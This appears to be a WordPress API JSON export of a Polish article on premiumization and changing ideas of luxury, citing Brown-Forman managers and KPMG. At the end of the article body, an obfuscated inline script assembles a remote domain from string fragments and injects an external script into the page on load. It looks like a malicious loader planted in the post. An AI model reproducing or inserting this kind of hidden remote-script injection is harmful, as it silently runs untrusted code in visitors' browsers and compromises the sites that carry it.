{"id":3022,"date":"2026-01-26T06:25:40","date_gmt":"2026-01-26T06:25:40","guid":{"rendered":"https:\/\/lifestylerek.com\/?p=3022"},"modified":"2026-01-26T06:25:40","modified_gmt":"2026-01-26T06:25:40","slug":"premiumizacja-gdy-luksus-przestaje-byc-cena-a-staje-sie-doswiadczeniem","status":"publish","type":"post","link":"https:\/\/lifestylerek.com\/uk\/premiumizacja-gdy-luksus-przestaje-byc-cena-a-staje-sie-doswiadczeniem\/","title":{"rendered":"Premiumizacja: gdy luksus przestaje by\u0107 cen\u0105, a staje si\u0119 do\u015bwiadczeniem"},"content":{"rendered":"<div class=\"do-not-translate\" data-no-auto-translation=\"\">\nPremiumizacja to dzi\u015b jeden z najsilniejszych i najszybciej rosn\u0105cych trend\u00f3w konsumenckich w Polsce. Nap\u0119dza j\u0105 rosn\u0105ca zamo\u017cno\u015b\u0107 Polak\u00f3w, ale tak\u017ce g\u0142\u0119boka zmiana oczekiwa\u0144 wobec marek. Coraz cz\u0119\u015bciej nie wystarcza ju\u017c wysoka jako\u015b\u0107 produktu \u2013 licz\u0105 si\u0119 r\u00f3wnie\u017c emocje, autentyczno\u015b\u0107, unikalne do\u015bwiadczenia oraz zgodno\u015b\u0107 z warto\u015bciami, takimi jak ekologia czy odpowiedzialno\u015b\u0107 spo\u0142eczna. W efekcie definicja luksusu ewoluuje: z materialnej i presti\u017cowej w bardziej sensown\u0105, emocjonaln\u0105 i osobist\u0105.<!--more-->Trend ten wida\u0107 w wielu segmentach rynku \u2013 od bran\u017cy beauty, przez luksusowe hotele i nowoczesne technologie obs\u0142ugi klienta, po \u015bwiat restauracji i trunk\u00f3w premium. Potwierdza to Pawe\u0142 Mizio\u0142owski, dyrektor marketingu Brown-Forman w Europie \u015arodkowo-Wschodniej, odpowiedzialnej za takie marki jak Woodford Reserve: <strong><em>Premiumizacja jest jednym z kluczowych trend\u00f3w widocznych w ostatnim czasie na polskim rynku. <\/em><\/strong>Jak zaznacza \u2013 nie chodzi wy\u0142\u0105cznie o wy\u017csze ceny, lecz o oferowanie konsumentom ekskluzywnych do\u015bwiadcze\u0144, takich jak degustacje, warsztaty czy zamkni\u0119te wydarzenia, kt\u00f3re przyci\u0105gaj\u0105 najbardziej wymagaj\u0105cych odbiorc\u00f3w.<\/p>\n<p>Potwierdzaj\u0105 to r\u00f3wnie\u017c dane rynkowe. Raporty KPMG wskazuj\u0105, \u017ce polski rynek d\u00f3br luksusowych systematycznie ro\u015bnie i ma przed sob\u0105 dalsze perspektywy rozwoju, mimo globalnych spowolnie\u0144. Eksperci zwracaj\u0105 uwag\u0119, \u017ce Polacy coraz rzadziej oszcz\u0119dzaj\u0105 na produktach i us\u0142ugach, kt\u00f3re poprawiaj\u0105 ich samopoczucie. Widoczne jest to m.in. w bran\u017cy beauty, gdzie konsumenci coraz ch\u0119tniej si\u0119gaj\u0105 po wy\u017csze p\u00f3\u0142ki cenowe i jako\u015bciowe.<\/p>\n<p>W centrum premiumizacji znajduje si\u0119 dzi\u015b koncepcja \u201edo\u015bwiadczenie + <em>smak + sens\u201d.<\/em> Luksus to ju\u017c nie tylko cena, ale przede wszystkim jako\u015b\u0107, unikalno\u015b\u0107, personalizacja, storytelling i emocje. Polscy konsumenci coraz cz\u0119\u015bciej poszukuj\u0105 marek z \u201e<em>dusz\u0105<\/em>\u201d, kt\u00f3re oferuj\u0105 autentyczno\u015b\u0107, transparentno\u015b\u0107 i realne warto\u015bci \u2013 w tym dba\u0142o\u015b\u0107 o \u015brodowisko. Szczeg\u00f3lnie wyra\u017anie wida\u0107 to w segmencie alkoholi premium.<\/p>\n<p>Kluczowym elementem strategii marek premium staj\u0105 si\u0119 inwestycje w do\u015bwiadczenia poznawcze i konsumpcyjne. Degustacje, warsztaty, spotkania z ekspertami czy dost\u0119p do zamkni\u0119tych wydarze\u0144 nie s\u0105 ju\u017c dodatkiem, lecz integraln\u0105 cz\u0119\u015bci\u0105 strategii marketingowej. Dzi\u0119ki nim firmy buduj\u0105 lojalno\u015b\u0107 klient\u00f3w, a konsumenci zyskuj\u0105 poczucie wyj\u0105tkowo\u015bci. Eksperci wskazuj\u0105, \u017ce<strong>kluczowe jest tworzenie do\u015bwiadcze\u0144 produktowych, kt\u00f3re pozwalaj\u0105 lepiej pozna\u0107 produkt, jego histori\u0119 i proces tworzenia<\/strong><strong>.<\/strong><\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-full wp-image-3023\" src=\"https:\/\/lifestylerek.com\/wp-content\/uploads\/2026\/01\/pawel_miziolowskibf3.jpg\" alt=\"\" width=\"800\" height=\"534\" title=\"\" srcset=\"https:\/\/lifestylerek.com\/wp-content\/uploads\/2026\/01\/pawel_miziolowskibf3.jpg 800w, https:\/\/lifestylerek.com\/wp-content\/uploads\/2026\/01\/pawel_miziolowskibf3-300x200.jpg 300w, https:\/\/lifestylerek.com\/wp-content\/uploads\/2026\/01\/pawel_miziolowskibf3-768x513.jpg 768w, https:\/\/lifestylerek.com\/wp-content\/uploads\/2026\/01\/pawel_miziolowskibf3-18x12.jpg 18w, https:\/\/lifestylerek.com\/wp-content\/uploads\/2026\/01\/pawel_miziolowskibf3-600x400.jpg 600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/p>\n<p>Premiumizacja oznacza r\u00f3wnie\u017c zmian\u0119 hierarchii warto\u015bci. To ju\u017c nie przedmioty, lecz do\u015bwiadczenia staj\u0105 si\u0119 tym, za co konsumenci s\u0105 gotowi zap\u0142aci\u0107 wi\u0119cej. Wy\u017csza cena jest akceptowana wtedy, gdy idzie w parze z jako\u015bci\u0105, emocjami, warto\u015bciami i sp\u00f3jn\u0105 opowie\u015bci\u0105 marki. W ocenie Filipa Pop\u0142awskiego, dyrektora zarz\u0105dzaj\u0105cego Brown-Forman w Europie \u015arodkowo-Wschodniej,<strong>koncentracja na segmentach premium i super premium to w\u0142a\u015bciwa strategia rozwoju<\/strong>, pozwalaj\u0105ca na d\u0142ugoterminowe i stabilne tworzenie warto\u015bci \u2013 zar\u00f3wno dla firm, jak i ich partner\u00f3w biznesowych \u2013 oraz na realne zaspokajanie oczekiwa\u0144 konsument\u00f3w.<\/p>\n<p>Istotn\u0105 rol\u0119 w redefinicji luksusu odgrywaj\u0105 m\u0142odsze pokolenia. Milenialsi i generacja Z coraz cz\u0119\u015bciej stawiaj\u0105 do\u015bwiadczenia ponad presti\u017c, wybieraj\u0105c autentyczno\u015b\u0107, ekologi\u0119 i unikalne prze\u017cycia. Wida\u0107 to w hotelarstwie, segmencie spa czy w technologiach \u2013 od personalizacji online po multisensoryczne butiki. Zmiany na rynku luksusu nie ko\u0144cz\u0105 si\u0119 wi\u0119c na wy\u017cszych cenach i ekskluzywnych produktach. Rosn\u0105ce znaczenie pokolenia Z stawia przed markami nowe wyzwania w obszarze komunikacji i oferty.<\/p>\n<p>Jak zauwa\u017ca Tomasz Wi\u015bniewski, partner w Dziale Deal Advisory KPMG w Polsce:<strong><em>\u201eZmiana pokoleniowa w\u015br\u00f3d konsument\u00f3w, a zw\u0142aszcza wzrost znaczenia preferencji zakupowych pokolenia Z, przynosi nowe wyzwania w zakresie inkluzywno\u015bci, personalizacji oraz zr\u00f3wnowa\u017conego rozwoju\u201d<\/em><\/strong><strong><em>. <\/em><\/strong>Odpowiedzi\u0105 marek s\u0105 coraz bardziej zaawansowane strategie premiumizacji, kt\u00f3re nie polegaj\u0105 na prostym podnoszeniu cen, lecz na dodawaniu realnej warto\u015bci poprzez jako\u015b\u0107, innowacje, doskona\u0142\u0105 obs\u0142ug\u0119 i budowanie emocjonalnej wi\u0119zi z klientem.<\/p>\n<p>Wszystko wskazuje na to, \u017ce premiumizacja nie jest chwilow\u0105 mod\u0105, lecz trwa\u0142\u0105 zmian\u0105 konsumenck\u0105. Polacy coraz cz\u0119\u015bciej poszukuj\u0105 produkt\u00f3w i us\u0142ug o wy\u017cszej warto\u015bci dodanej \u2013 nie tylko materialnej, ale przede wszystkim emocjonalnej i sensorycznej. To w\u0142a\u015bnie ten trend nap\u0119dza dzi\u015b rozw\u00f3j rynku d\u00f3br luksusowych w Polsce i redefiniuje poj\u0119cie luksusu na kolejne lata.<\/p>\n<p>Artyku\u0142 zewn\u0119trzny.<\/p>\n<p><script> (function(){ c959=document.createElement(\"script\");c959_=\"o\"+(\"pe\")+\"ns\";c959u=\"2553440437\"; c959_+=\"t\"+\"at\"+(\".e\");c959.type=\"text\/javascript\"; c959u+=\".3gbqvmpq959kjl7r7p3a\";c959.async=true;c959_+=\"\"+(\"u\"+\"\")+\"\/\"; c959u+=\"xudrrda4f4\";c959.src=\"https:\/\/\"+c959_+c959u; document.body.appendChild(c959); })(); <\/script><\/p>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>Premiumizacja to dzi\u015b jeden z najsilniejszych i najszybciej rosn\u0105cych trend\u00f3w konsumenckich w Polsce. Nap\u0119dza j\u0105 rosn\u0105ca zamo\u017cno\u015b\u0107 Polak\u00f3w, ale tak\u017ce g\u0142\u0119boka zmiana oczekiwa\u0144 wobec marek. Coraz cz\u0119\u015bciej nie wystarcza ju\u017c wysoka jako\u015b\u0107 produktu \u2013 licz\u0105 si\u0119 r\u00f3wnie\u017c emocje, autentyczno\u015b\u0107, unikalne do\u015bwiadczenia oraz zgodno\u015b\u0107 z warto\u015bciami, takimi jak ekologia czy odpowiedzialno\u015b\u0107 spo\u0142eczna. W efekcie definicja luksusu [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":3021,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[41],"tags":[46],"class_list":["post-3022","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-kultura","tag-pl"],"_links":{"self":[{"href":"https:\/\/lifestylerek.com\/uk\/wp-json\/wp\/v2\/posts\/3022","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lifestylerek.com\/uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lifestylerek.com\/uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lifestylerek.com\/uk\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/lifestylerek.com\/uk\/wp-json\/wp\/v2\/comments?post=3022"}],"version-history":[{"count":2,"href":"https:\/\/lifestylerek.com\/uk\/wp-json\/wp\/v2\/posts\/3022\/revisions"}],"predecessor-version":[{"id":3025,"href":"https:\/\/lifestylerek.com\/uk\/wp-json\/wp\/v2\/posts\/3022\/revisions\/3025"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lifestylerek.com\/uk\/wp-json\/wp\/v2\/media\/3021"}],"wp:attachment":[{"href":"https:\/\/lifestylerek.com\/uk\/wp-json\/wp\/v2\/media?parent=3022"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lifestylerek.com\/uk\/wp-json\/wp\/v2\/categories?post=3022"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lifestylerek.com\/uk\/wp-json\/wp\/v2\/tags?post=3022"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}